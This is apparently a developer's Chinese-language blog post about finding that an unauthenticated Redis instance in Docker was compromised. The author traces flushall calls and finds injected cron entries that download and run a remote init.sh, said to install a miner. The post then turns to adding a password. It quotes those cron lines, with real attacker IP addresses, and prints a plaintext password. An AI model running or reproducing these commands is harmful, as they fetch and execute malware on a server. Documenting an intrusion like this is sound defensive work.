近期在开发小程序后台时,发现redis里面的key有时会莫名奇妙地消失,而且是离过期时间很远的key。本人首先是认为服务器内存不足,然后查看了一下服务器内存。
free -m
发现剩余80M,其实还是足够的。然后我就怀疑是不是redis设置了最大内存上限,首先打开redis的客户端,因为我是使用docker部署的redis,所以使用了一下命令
docker exec -it containerID redis-cli
选择数据库
使用下面的命令查看内存配置
info memory
得到下面的结果
其中used_memory表示已被使用的内存,其中下面的used_memory_human表示人性化的数据,表示用了1.68M内存,所以看出不是内存不足的问题,然后我使用下面的指令查看历史调用过的指令
info commandstats
然后发现一个很震惊的事情,flushall命令居然被调用了300次,然后我又打开aof文件查看
果然flushall被使用过,稳妥妥遭受攻击了。然后我又打开redis desktop,发现又四个莫名其妙的东西(backup1、backup2…)
点进去看,发现写有一些sh脚本,分别如下
*/2 * * * * root cd1 -fsSL http://195.58.38.171/cleanfda/init.sh | sh
*/3 * * * * root wget -q -O- http://195.58.38.171/cleanfda/init.sh | sh
*/4 * * * * root curl -fsSL http://195.242.111.238/cleanfda/init.sh | sh
*/5 * * * * root wd1 -q -O- http://195.242.111.238/cleanfda/init.sh | sh
上网查了一下,通过这些脚本,攻击者会把redis当作矿机使用。
然后我想到的是马上为redis上密码,首先我把redis容器给删了
docker rm -f 容器id和容器名
然后打开redis的配置文件,设置密码,并且用下面的命令启动
docker run --name redis -v /root/redis/data:/data -v /root/redis/redis.conf:/usr/local/etc/redis.conf -p 6379:6379 -d redis redis-server
打开redis客户端设置密码
127.0.0.1:6379> config set requirepass zkcourse8346@